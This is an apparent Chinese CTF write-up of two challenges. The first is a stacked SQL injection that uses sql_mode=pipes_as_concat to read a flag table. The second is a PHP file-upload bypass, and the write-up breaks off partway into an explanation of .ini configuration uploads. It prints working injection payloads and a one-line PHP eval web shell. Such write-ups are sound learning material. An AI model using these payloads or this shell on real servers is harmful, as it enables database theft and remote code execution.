Easysql(堆叠注入)
2019强网杯有一道也是用的堆叠注入,这个也是,但是过滤的很严
1;show databases;
1;show tables;
这两个可以正常执行,拿到table名为Flag。
无论输入什么数字,最后返回的都是1,说明后台有所处理,输入0的话无返回结果。
from、or等都被过滤了
post方式传递,得到输入,然后执行语句,需要对后台sql语句进行猜解
从数字返回1来看可能是有一个逻辑运算||,set sql_mode=pipes_as_concat可以让系统把||识别为连接符,猜解是比较难的,我就只能看wp了。。。
正确猜解:
$sql = “select “.$post[‘query’].”||flag from Flag”;
解法一:
1;set sql_mode=pipes_as_concat;select 1
||成为连接符之后就是select 1||flag from Flag,就查询出flag了。
解法二:
大佬们blog上都说是非预期解
输入*,1
后面的数字是几都可以,拼接之后是select *,1||flag from Flag
这样也能拿到flag
CheckIn(ini文件上传漏洞)
上传绕过的题,ini的配置文件上传还是第一次见
1、普通木马尝试
拿普通的图片马进行上传了下,没有修改后缀,页面返回
<? in contents!
说明<?是不允许存在于文件中的,然后使用script进行绕过:
<script language='php'>@eval($_POST[shell]);</script>
2、后缀修改绕过
然后对后缀进行修改然后上传,页面返回
illegal suffix!
然后用burp的爆破对各种可绕过的后缀都进行尝试,所有的后缀都不行,后缀修改是绕不过了。
3、ini配置文件上传
从burp可以看到,网站服务器为并不是Apache,那么.hatcess后缀的文件解析漏洞也就不可用了。
这里用到的是ini配置文件的上传,ini配置文件是什么呢,知识点来了。
我们从php.ini说起:
php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img